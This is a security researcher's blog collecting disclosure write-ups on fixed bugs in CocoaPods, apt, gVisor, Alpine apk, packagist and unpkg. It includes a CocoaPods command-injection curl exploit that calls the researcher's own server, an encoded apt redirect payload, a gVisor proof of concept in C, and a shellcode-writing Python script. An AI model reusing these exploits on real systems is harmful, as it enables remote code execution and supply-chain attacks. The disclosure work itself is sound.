Max Justicz

Hacking 3,000,000 apps at once through CocoaPods

2021-04-20T00:00:00-07:00

tl;dr CocoaPods is a popular package manager used by lots of iOS apps (among other Swift and Objective-C Cocoa applications). I found a remote code execution bug in the central CocoaPods server holding keys for the Specs repo (https://trunk.cocoapods.org/). This bug would have allowed an attacker to poison any package download. It’s fixed now.

Introduction

I use the Signal iOS app to communicate with my friends. I really like Signal, and one of the ways I like to give back to my favorite projects is by trying to find bugs in them.

The first thing that stood out to me when browsing through the app’s source was Podfile, which lists Signal’s CocoaPods dependencies. I have a long history with package managers, so my first idea was to try and find a bug in the central CocoaPods server. Why hack just Signal if we can find a bug that affects every app using CocoaPods?

The bug

When you upload a package spec to CocoaPods, it tries to make sure you didn’t accidentally link to a private repository. It used to do that like this:

def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')

  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

There are a couple of issues here. The most important one is the attacker has complete control over @specification.source[:git] and ref.to_s, and so can use them to pass flags to git. git ls-remote takes an optional flag --upload-pack which happens to evaluate its contents in a shell. So if @specification.source[:git] is equal to something like --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com, and ref.to_s is interpreted as a local repository, we’ll run the attacker’s command on the CocoaPods server.

Here’s the exploit I used in the end:

curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

My thoughts

In general

Think about how much value CocoaPods has added to the world, just in developer time saved! Then think about how many huge companies use this software. Then think about how much a security audit would cost.

For people using dependency managers

Consider vendoring dependencies and reviewing their updates carefully.
Your dependency manager might have bugs, and if you’re working on something security sensitive you should really carefully think about this attack vector.

For people writing dependency managers

If you want your dependency manager to be secure, you should really treat the following as toxic waste:

Package contents
Version control software

It’s common for dependency manager servers to want to expose some metadata about the package (toxic waste), and frequently this is achieved by shelling out to some version control software (toxic waste). It’s best to avoid doing this at all, but if you must, you should use a sandbox – I really like gVisor for this sort of thing.

A few months ago I found an RCE bug in proxy.golang.org which was shelling out to some vulnerable version control software. But it was completely mitigated due to a gVisor sandbox I couldn’t escape.

Conclusion

Thanks to the CocoaPods maintainers for fixing this bug super quickly!

Shameless plug

I’m trying to give 10,000 mosquito nets to charity! If you liked this post please consider donating a $2 mosquito net.

Fun with LCDs and Visual Cryptography

2020-07-30T00:00:00-07:00

Introduction

Did you know that you can combine two LCDs in a way that lets you see the XOR of their contents?

Motivating Problem

Imagine a communications device made up of two mutually-untrusted halves. The halves are built with components sourced from two completely separate supply chains. We want the property that a remote adversary can never see a decrypted message, even if one of these halves contains a critical vulnerability.

How could such a device ever display a decrypted message to the user? At the end of the day, we need to combine key material and ciphertext, decrypt the message, and show it on a display. If a single chip ever sees both the key and the ciphertext, or if the plaintext ends up on a single display component, that represents a single point of failure in our design. Is there any way around this?

Visual Cryptography

One solution to this problem is visual cryptography. If we can use two displays from two different manufacturers and have them combine information visually, then we can build a chat device where no single component sees both halves of the message!

In this scheme, each device displays an image that is, on its own, indistinguishable from random. But when the images are XORed together, the plaintext is revealed. It’s a visual implementation of a one-time pad.

This idea has been around for a while. There is a great 2003 paper by Tuyls et al. called Visual Crypto Displays Enabling Secure Communications, where they do everything I do in this blog post and much more, including some analysis on how to achieve authenticity even if an attacker can modify the contents of a display.

First Attempt (Transparent OLEDs)

Before I learned about the LCD trick at the top of this post, I googled around for transparent displays and found these teeny transparent OLED modules sold by Sparkfun. Stacking OLED displays gives the visual OR operation, not the visual XOR operation, because the light just passes through.

It turns out you can create visual XOR from visual OR using little checkerboard patterns. A friend pointed out that this same technique is used in a voting scheme by David Chaum, except with paper instead of displays! From there I learned that this scheme goes back to (at least) Moni Naor and Adi Shamir in 1994.

Second Attempt (LCDs)

LCD stands for Liquid Crystal Display. As the name suggests, LCDs use a material called a liquid crystal.

Twisted nematic liquid crystal displays work like this: when no voltage is applied across their liquid crystal layer, a helical structure forms, and the polarization of light shining through is rotated by some amount (on my LCDs, this is either 90 degrees or -90 degrees – I haven’t experimented to figure out which). When a large enough voltage is applied, the helical structure straightens out, and light passes through unchanged.

By putting a polarizing filter on either side of this liquid crystal layer, with the two filters rotated 90 degrees relative to one another, an LCD can selectively block light from passing through by raising or lowering the voltage.

So a normal LCD looks something like this:

But by peeling off the front polarizing layer from two LCDs, we can construct a display that looks like this:

With this setup, the displays now perform the XOR operation! For a given pixel in some position on both displays:

If both pixels are off, the polarization of incoming light is twisted by 90 degrees and then by -90 degrees, and so is blocked by the second polarizer.
If exactly one of the pixels is off, the polarization of incoming light is twisted once by either 90 degrees or -90 degrees, and so passes through the second polarizer.
If both pixels are on, light passes through the liquid crystal layers without rotating, and so is blocked by the second polarizer.

Once I figured out a design, actually putting it together was straightforward. I used two LCD modules from Adafruit, peeled off the front polarizers from both displays, removed the backlight from one display, and placed them front-to-front:

These LCD modules come apart super easily. The only hiccup I ran into was that I was shipped driver boards with the wrong firmware!

Phones

I want a secure communications device – something that only does simple chat, and doesn’t contain things like a web browser or ImageMagick. Secure chat apps like Signal are pretty good, but they usually run on smartphones, which consistently contain crazy-ass bugs that let remote adversaries completely take over your device. We have all of these great cryptographic protocols, but no easy way to use them securely!

Fortunately, there are some projects trying to address this problem. I’m really excited about Betrusted, which aims to build what is essentially a secure enclave with a keyboard, screen, and external untrusted networking component. This is excellent – we can remove entire classes of vulnerability by communicating with untrusted components over simple, easy-to-audit protocols.

But I have to wonder: without sacrificing usability, can we get one step more paranoid than devices like Betrusted? Can we have a device that is more secure than the weakest link in its supply chain?

(If you’re working on a secure communications device, please reach out!)

Remote Code Execution in apt/apt-get

2019-01-22T00:00:00-08:00

tl;dr I found a vulnerability in apt that allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code as root on a machine installing any package. The bug has been fixed in the latest versions of apt. If you’re worried about being exploited during the update process, you can protect yourself by disabling HTTP redirects while you update. To do that, run:

$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

If your current package mirrors redirect by default (meaning you can’t update apt when using that flag) you’ll need to pick different mirrors or download the package directly. Specific instructions for upgrading on Debian can be found here. Ubuntu’s announcement can be found here.

As a proof of concept, below is a video of me exploiting the following Dockerfile:

FROM debian:latest

RUN apt-get update && apt-get install -y cowsay

Background

When fetching data, apt forks off worker processes that specialize in the various protocols that will be used for data transfer. The parent process then communicates with these workers over stdin/stdout to tell them what to download and where to put it on the filesystem using a protocol that looks a little like HTTP. For example, when running apt install cowsay on a machine using repos served over HTTP, apt will fork off /usr/lib/apt/methods/http, which returns a 100 Capabilities message:

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

The parent process will then send its configuration and request a resource, like this:

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

And the worker process will respond with something like:

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

When the HTTP server responds with a redirect, the worker process returns a 103 Redirect instead of a 201 URI Done, and the parent process uses this response to figure out what resource it should request next:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

Vulnerability

Unfortunately, the HTTP fetcher process URL-decodes the HTTP Location header and blindly appends it to the 103 Redirect response:

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
   std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
             << "New-URI: " << NewURI << "\n"
             << "\n" << std::flush;
   Dequeue();
}

(Note: there are important differences here across different versions of apt. The code above is from 1.4.y, which is what recent Debian uses. Some recent Ubuntu versions use 1.6.y, which doesn’t just blindly append the URI here, however there is still an injection vulnerability into the subsequent 600 URI Acquire requests made to the HTTP fetcher process. I haven’t checked other versions.)

So if the HTTP server sent Location: /new-uri%0AFoo%3A%20Bar, the HTTP fetcher process would reply with the following:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

Or, if the HTTP server sent:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

then the HTTP fetcher process would reply with this:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

The parent process will trust the hashes returned in the injected 201 URI Done response, and compare them with the values from the signed package manifest. Since the attacker controls the reported hashes, they can use this vulnerability to convincingly forge any package.

Planting the malicious package

In my proof of concept, because I chose to inject the 201 URI Done response right away, I had to deal with the fact that no package had actually been downloaded yet. I needed a way to get my malicious .deb onto the system for use in the Filename parameter.

To do this, I took advantage of the fact that the Release.gpg file pulled during apt update is both malleable and installed into a predictable location. Specifically, Release.gpg contains ASCII-armored PGP signatures that look like:

-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

But apt’s signature validation process is totally fine with the presence of other garbage in that file, as long as it doesn’t touch the signatures. So I intercepted the Release.gpg response and prepended it with my malicious deb:

<oops.deb contents>
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----

Then, I set the Filename parameter in the 201 URI Done response to point to:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

The http/https debate

By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn’t actually ship with support for https repositories – you have to install apt-transport-https first).

If packages manifests are signed, why bother using https? After all, the privacy gains are minimal, because the sizes of packages are well-known. And using https makes it more difficult to cache content.

People sometimes get really passionate about this. There are single purpose websites dedicated to explaining why using https is pointless in the context of apt.

They’re good points, but bugs like the one I wrote about in this post exist. And this bug isn’t even special – here’s a different one that Jann Horn found in 2016 with the same impact. Yes, a malicious mirror could still exploit a bug like this, even with https. But I suspect that a network adversary serving an exploit is far more likely than deb.debian.org serving one or their TLS certificate getting compromised.

(This is all assuming that apt-transport-https is itself not catastrophically broken. I haven’t audited it, but it looks like a relatively thin wrapper around libcurl.)

Supporting http is fine. I just think it’s worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so. I wouldn’t have been able to exploit the Dockerfile at the top of this post if the default package servers had been using https.

Conclusion

Thank you to the apt maintainers for patching this vulnerability quickly, and to the Debian security team for coordinating the disclosure. This bug has been assigned CVE-2019-3462.

Privilege Escalation in gVisor, Google’s Container Sandbox

2018-11-14T00:00:00-08:00

tl;dr gVisor is Google’s sandboxing technology for containers running less-than-fully-trusted code. It’s a Golang reimplementation of the Linux kernel that runs in userspace, intercepting container syscalls and limiting what touches the host kernel directly. I found an issue with gVisor’s shared memory implementation that allowed unprivileged processes in the sandbox to read and write the memory of other, more highly privileged processes in the sandbox, including those running as root.

[edit: Please note that this is not a sandbox escape; gaining root within gVisor does not give you access to the host machine. I encourage you to check out the gVisor README for more details!]

Here’s a video of me running a proof-of-concept that reads and overwrites some memory in an unrelated process (code at the end of the post):

Vulnerability

Mapped-after-free

gVisor uses reference counting for various parts of its internal memory management, and the bug allows us to lower the reference count of the “platform” memory backing a shmget shared memory region, even when we still have a mapping to it in our process’s virtual address space. The backing memory is then reclaimed and handed to another (potentially more privileged) process, where it can be used for something else. The bug is basically a use-after-free.

The problem stems from this code in sys_shm.go, which implements the shmctl syscall:

func Shmctl(t *kernel.Task, args arch.SyscallArguments) (uintptr, *kernel.SyscallControl, error) {
  id := args[0].Int()
  cmd := args[1].Int()
  buf := args[2].Pointer()
...
  switch cmd {
...
  case linux.IPC_RMID:
    segment.MarkDestroyed()
    return 0, nil, nil

segment.MarkDestroyed() unconditionally decreases the reference count of the shared memory object, which eventually decreases the reference count of the platform memory range itself in shm.go:

func (s *Shm) destroy() {
  s.registry.remove(s)
  s.p.Memory().DecRef(s.fr)
}

func (s *Shm) MarkDestroyed() {
  s.mu.Lock()
  defer s.mu.Unlock()
  // Prevent the segment from being found in the registry.
  s.key = linux.IPC_PRIVATE
  s.pendingDestruction = true
  // destroy() above will get called when the reference count goes negative
  s.DecRef() 
}

So if the platform memory region in the s.fr range has a reference count of 1, and we call shmctl(shmid, IPC_RMID, NULL) until we trigger the destruction of the Shm object, that backing memory can be reclaimed by the kernel for use by other processes.

The platform memory’s reference count is initialized to 1 when we initially create our shared memory object with shmget(), but it gets incremented to 2 when the memory is accessed and page-faulted in. So if you read or write to the mapped shared memory region before triggering the DecRef() bug, things become harder to exploit.

Here’s the proof-of-concept I put together for the video above, with comments explaining how it works:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHMKEY 1234567

#define SHMSIZE ((size_t) 4096)

int main()
{
  // Fork off a process that allocates a bunch of memory containing the string
  // 'OOPS', and that will exit if it ever finds an 'A' byte in that string
  // (indicating that the memory has been overwritten by another process)
  if (fork() == 0) {
    sleep(1);
    execl("/usr/bin/python3", "python", "-c", "x = 'OOPS'\n"
                                              "while True:\n\t"
                                                "x += 'OOPS'\n\t"
                                                "if 'A' in x:\n\t\t"
                                                  "print('\\n\\n***Other process: memory was overwritten***')\n\t\t"
                                                  "exit(0)\n", NULL);
    return 0;
  }

  // Create a readable, writable shared memory region
  int shmid = shmget(SHMKEY, SHMSIZE, IPC_CREAT | 0600);

  // Map that shared memory into our virtual address space
  volatile unsigned char *shmm = shmat(shmid, NULL, 0);

  printf("shmm addr: %p\n", shmm);
  printf("Decreasing refcount\n");

  // Trigger our bug by releasing the platform memory backing the shared memory
  shmctl(shmid, IPC_RMID, NULL);
  shmctl(shmid, IPC_RMID, NULL);

  // Give the Python process some time to use up memory
  sleep(2);

  printf("Allocation from another process:\n");

  // Print out some bytes from the page, which has probably been allocated to
  // the Python process's big string
  for (size_t i = 0; i < 200; i++) {
    if (i % 20 == 0) {
      printf("\n");
    }
    if (shmm[i] != 0) printf("\x1B[32m");
    printf("%02X ", shmm[i]);
    if (shmm[i] != 0) printf("\x1B[0m");
    fflush(stdout);
  }

  // Demonstrate that we can overwrite the other process's memory. The other
  // process should exit once it detects that we've overwritten part of the
  // string with 0x41
  memset((char *)shmm, 0x41, SHMSIZE);

  // Sleep for a couple seconds so that we don't instantly panic
  sleep(2);

  // When the process exits, the kernel will attempt to DecRef an object whose
  // refcount is already negative, so it panics.
  printf("\nTime to panic...\n");

  return 0;
}

Conclusion

gVisor is a well-written but incredibly ambitious project; reimplementing the Linux kernel is hard. I’ve been thinking about some ways that one could detect and mitigate against this class of bug. Perhaps when a memory region is DecRef()ed to 0, the kernel could check that it doesn’t exist in any process’s virtual address space. I’m not sure if that would be too expensive.

Remote Code Execution in Alpine Linux

2018-09-13T00:00:00-07:00

tl;dr I found several bugs in apk, the default package manager for Alpine Linux. Alpine is a really lightweight distro that is very commonly used with Docker. The worst of these bugs, the subject of this blog post, allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code on the user’s machine. This is especially bad because packages aren’t served over TLS when using the default repositories. This bug has been fixed and the Alpine base images have been updated – you may want to rebuild your Alpine-derived images!

After gaining code execution, I figured out a cool way to make the original apk process exit with a 0 exit code (without needing the SYS_PTRACE capability) by writing to /proc/<pid>/mem. The result is that a Dockerfile that installs packages with apk can be exploited and still build successfully.

Here’s a clip of me exploiting a Docker container based on Alpine as a network man-in-the-middle:

Vulnerability

Arbitrary file creation leading to RCE

Alpine packages are distributed as .apk files, which are actually just gzipped tar files. When apk is pulling packages, it extracts them into / before checking that the hash matches what the signed manifest says it should be. Well, kind of – while extracting the archive, each file name and hardlink target is suffixed with .apk-new. Later, when apk realizes that the hash of the downloaded package is incorrect, it tries to unlink all of the extracted files and directories.

Persistent arbitrary file writes can be easily turned into code execution because of apk’s “commit hooks” feature. If we can figure out a way to extract a file into /etc/apk/commit_hooks.d/ and have it stay there after the cleanup process, it will be executed before apk exits.

With control of the tar file being downloaded, we can create a persistent “commit hook” like this:

Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.
Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.
Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.
When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.

Fixing the exit code

Now that we have arbitrary code running on the client before apk has exited, it is important that we figure out a way to make the apk process exit gracefully. If using apk in a Dockerfile build step, the step will fail if apk returns a nonzero exit code.

If we do nothing, apk will return an exit code equal to the number of packages it has failed to install, which is now at least one (amusingly, this value can overflow – if the number of errors % 256 == 0, the process will return with exit code 0 and the build will succeed. This was fixed here.).

My first attempt was to use gdb to attach to the process and just call exit(0). Unfortunately, Docker containers don’t have the SYS_PTRACE capability by default and so we can’t do this. Since we’re root, however, we can read and write /proc/<pid>/mem for the apk process:

import subprocess
import re

pid = int(subprocess.check_output(["pidof", "apk"]))

print("\033[92mapk pid is {}\033[0m".format(pid))

maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)

print("\033[92mEverything is fine! Please move along...\033[0m")

NOP = "90".decode("hex")

# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")

# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    start = int(m.group(1), 16)
    end = int(m.group(2), 16)

    if "apk" in line and "r-xp" in line:
        mem_file.seek(start)
        nops_len = end - start - len(shellcode)
        mem_file.write(NOP * nops_len)
        mem_file.write(shellcode)

maps_file.close()
mem_file.close()

So we:

Find the pid of the apk process using pidof
Find the process’s executable memory using /proc/<pid>/maps, and
Write shellcode that will ultimately exit(0) directly into memory. It was really surprising to me that this worked! I was expecting the write to fail.

When apk resumes execution after our commit hook exits, it will run our shellcode.

Conclusion

If you use Alpine Linux in a production environment, you should 1. rebuild your images and 2. consider donating what you can to the developers. It seems like apk has one main developer who fixed this bug in less than a week. The lead maintainer of Alpine cut a new release shortly thereafter.

Shameless plug

There are probably hundreds of organizations using Alpine Linux in production environments that could have been affected by this bug. Some of those organizations almost certainly have bug bounty programs that would pay generously if a similar bug had been written by one of their own developers. If the goal of a bug bounty program is to help secure an organization, shouldn’t critical bugs in dependencies qualify to some extent?

This is why I launched BountyGraph last month. BountyGraph provides a mechanism to crowdfund bug bounty programs for important dependencies. I hope you’ll check it out!

Remote Code Execution on packagist.org

2018-08-28T00:00:00-07:00

tl;dr There was a remote code execution vulnerability on packagist.org, the default package server behind Composer, a PHP package manager. Packagist currently serves around 400 million package downloads per month.

This bug was not technically interesting, but I figured it was worth posting about since Packagist appears to be a pretty popular service and is one of the top Google search results for “PHP package manager”.

Vulnerability

You could type $(execute me) into a big text field on the site and it would execute your command in a shell (twice).

WHY

You upload packages to Packagist by providing a URL to a Git, Perforce, Subversion, or Mercurial repository. To identify what kind of repository the URL points to, Packagist shells out to git, p4, svn, and hg, with application-specific commands that include this URL as an argument.

I instrumented ProcessExecutor::execute, the method used to run shell commands, to print what commands it was being asked to execute. For a URL of $(sleep 1), it would run the following:

git ls-remote --heads '$(sleep 1)'
hg identify '$(sleep 1)'
p4 -p $(sleep 1) info -s
svn info --non-interactive $(sleep 1)

The p4 and svn wrappers were improperly escaping the URL parameter.

Mitigation

The Packagist team quickly resolved this issue by escaping the relevant parameters in the Composer repository. I reported the vulnerability to security@packagist.org.

Conclusion

Package manager security is not always great, and you should probably plan on your package manager servers being compromised in the future.

In the past year or so I have found bugs that let me execute arbitrary code on rubygems.org, execute code on some of npm’s official mirrors (not the main registry), delete arbitrary release files from PyPI, serve arbitrary JS on every site using a popular CDN for npm, and now execute arbitrary code on packagist.org. Others are finding similar bugs. And that’s not even including the risk of a legitimate package being compromised.

In particular, I think it is a security anti-pattern to have application build pipelines pull fresh downloads of packages from upstream servers on every build if the packages are not expected to change. If for some reason you have to do this, you should pin dependencies using a cryptographically secure hash function.

BountyGraph: Crowdfunded Bug Bounties and Security Audits

2018-08-01T00:00:00-07:00

Bug bounties and dependencies

I just launched a website! BountyGraph is built on the idea that horrible bugs in popular free and open-source software projects should be:

Found
Fixed quickly and
Worth a lot of money

Unfortunately, some of the largest bounties are offered by organizations with a vested interest in not fixing bugs promptly or, sometimes, at all. Consider vulnerabilities in Apache HTTP Server. If one company’s publicly advertised price list is to be believed, you can earn up to $150,000 for a working exploit, as long as you’re OK with that exploit being packaged up and sold to governments. The Trend Micro ZDI pays well, but they release “protection filters” to Trend Micro customers for each vulnerability prior to notifying the project maintainers. If instead you’d like to report your bug directly to the maintainers, you’re likely looking at a $3,000 reward from the Internet Bug Bounty.

I want a vulnerability reporting mechanism that doesn’t provide any business with a commercial incentive to withhold information about a bug from those who can fix it. And one day I would like for that solution to be genuinely competitive with private vulnerability brokers.

Introducing BountyGraph

Here’s my proposal: what if the organizations that depend on the security of a piece of software could easily, specifically allocate funds to help keep it secure? This is the idea behind BountyGraph. BountyGraph facilitates crowdfunded bug bounties and security audits for free and open-source software dependencies.

The site works like this:

[edit: updated to reflect changes]

Free and open-source software projects sign up for BountyGraph and create a profile page like this one.
Through program pages, projects can raise money for bug bounties from their corporate users. There is also the option to crowdfund a security audit by a professional security consulting firm.
Bugs are reported to the project either via the BountyGraph ticket system or out-of-band by email.
Once a working patch is released, the maintainers assign a severity and submit the bug to BountyGraph for validation.
BountyGraph notifies the project’s funding organizations, who then have the opportunity to pay bounties to both the hacker for finding the bug and the maintainers for fixing it.

BountyGraph does not and will not monetize any information about the vulnerabilities that are reported using our platform. Instead, we charge a fixed percentage fee on top of each bounty.

In a world where Facebook will pay you $7,500 for an XSS vulnerability affecting only their mobile site, I think it is really unfortunate how little is done to financially incentivize security research into the world’s most common dependencies. Very frequently, multi-million-user organizations rely on the security properties of software developed by hobbyists for free, but do nothing to ensure that even the most superficial vulnerabilities are discovered. When the stakes are this high, it is clear that we shouldn’t just be waiting around for good-natured hackers to find bugs in dependencies at no cost.

If you work for a company that wants to help close this funding gap, or if you run a FOSS project that wants to fund a bounty program or audit, I hope you’ll consider checking out BountyGraph!

Compromising Thousands of Websites Through a CDN

2018-05-23T00:00:00-07:00

tl;dr unpkg.com is a pretty popular CDN for serving up assets from npm packages. I found a vulnerability in a tar implementation that allowed me to write arbitrary files onto the unpkg server, including into other packages. If exploited, this bug would have allowed an attacker to execute malicious Javascript on thousands of websites, including the homepages of PNC Bank, React.js, and the state of Nebraska. Don’t trust a third-party CDN – use subresource integrity and pin hashes!

Vulnerability

When you request a URL like https://unpkg.com/react@16.3.2/, unpkg checks if it already has the package downloaded and extracted at /tmp/unpkg-react-16.3.2/. If it doesn’t, it pulls the corresponding tar file from npm.

Unpkg lets you read any file out of a package once it’s extracted. To serve react’s package.json file, for example, you can just visit https://unpkg.com/react@16.3.2/package.json. Or, to get a directory listing of the whole package, you can visit https://unpkg.com/react@16.3.2/.

Here’s a snippet of what unpkg used to extract the tar file when it pulled a package:

function ignoreSymlinks(file, headers) {
  return headers.type === "link";
}

function extractResponse(response, outputDir) {
  return new Promise((resolve, reject) => {
    const extract = tar.extract(outputDir, {
      readable: true, // All dirs/files should be readable.
      map: stripNamePrefix,
      ignore: ignoreSymlinks
    });

    response.body
      .pipe(gunzip())
      .pipe(extract)
      .on("finish", resolve)
      .on("error", reject);
  });
}

The first problem with this code is that it doesn’t actually ignore symlinks like it says it does. With this tar library, the header.type for a symlink entry is symlink, not link. So right away this gives us arbitrary file reads on the server by creating a symlink to / and browsing through the directory with the web interface.

The second problem with this code is that even if headers.type did correctly check for symlink, the main attack below still worked due to issues with the tar library’s implementation of ignore functions.

First exploit attempt

On my local instance of unpkg, I was able to use this bug to read /proc/self/environ, which would spit out the environment variables of the webserver process. In these environment variables is a Cloudflare API key which I was thinking an attacker could use to do nefarious DNS-related things with their API (this was an untested assumption – I don’t know if Cloudflare supports restricting the permissions on their API keys).

Unfortunately (fortunately?), something about Heroku’s environment made it so that I couldn’t read /proc/self/environ on the real unpkg server. My guess is that this had to do with the incorrect HTTP Content-Length returned by the server. When reading the /proc/self/environ, my local instance reported Content-Length: 0, but still returned the file in the response body. My guess is that some reasonably clever reverse proxy at Heroku sees the Content-Length: 0 and cuts out the body of the reply.

The reason the server returns Content-Length: 0 is because stat /proc/self/environ returns a size of 0, and that’s what unpkg uses to set that header.

Second exploit attempt

At this point I was kind of bummed that I couldn’t figure out a way to take over this server. I went ahead and reported the symlink issue to the unpkg maintainer and went to sleep.

But then I started thinking more about tar files. We can extract files into a folder, we can create symlinks… can we extract files into a directory pointed to by a symlink that’s already been extracted? I pulled out my hex editor and made a tar file that tries this. It creates a symlink to /tmp called link, and then tries to extract a file to link/oops.txt.

I figured there is no way this would work with any mature tar implementation, and sure enough this fails to extract on my laptop:

$ tar -xvf symlink-oops.tar 
exploit/
exploit/link
exploit/link/oops.txt
tar: exploit/link/oops.txt: Cannot open: Not a directory
tar: Exiting with failure status due to previous errors

But unpkg doesn’t use GNU Tar, it uses a package called tar-fs. And tar-fs happily extracts this archive.

And then we win! Since we can write (and overwrite) files anywhere that the webserver user is able to do so, we can overwrite files in the directories set aside for other packages, like /tmp/unpkg-react-16.3.2/. To test this out, I made two versions of a package, and had the second version overwrite files in the first (it worked).

A worse bug than I thought

Many tar implementations also support unpacking hardlinks. Since creating a hardlink to a directory is more often than not an invalid operation, I made a variant of my original exploit that would:

Make a hardlink foo to a file I knew should exist and
Unpack a regular file named foo with arbitrary contents

Sure enough, tar-fs was vulnerable to this attack as well and would allow me to overwrite files as long as I had the proper permissions and knew where they lived on the filesystem.

After reporting this variant of the original bug to the tar-fs maintainer, he got back to me the next morning sounding a little worried. Surprisingly, node-tar, a much more popular tar library, was vulnerable to the hardlink variant. The tar-fs maintainer and I submitted a bug report and node-tar was quickly patched as well.

Oh, and if you ever need a textbook example of defense-in-depth doing its job, just remember that the only reason the npm client (which uses pacote and thus node-tar) wasn’t vulnerable to this attack was because a pacote developer made the prescient decision to never extract hardlinks or softlinks.

Conclusion

How screwed are you and your users if your Javascript CDN starts serving malware? Completely? Then either host files yourself or use subresource integrity. It lets you pin the cryptographic hash of whatever file you’re trying to load, protecting you from attacks like this in modern browsers.

Thank you to the maintainers of unpkg.com, tar-fs, and node-tar for resolving these vulnerabilities quickly.

Shameless plug

If you’re interested in ditching #birdsite and want to use a social network that actually respects your freedoms, you should consider joining Mastodon! It’s a federated social network, meaning that it works in a distributed way sort of like email. Join us over in the fediverse and help us build a friendly security community!

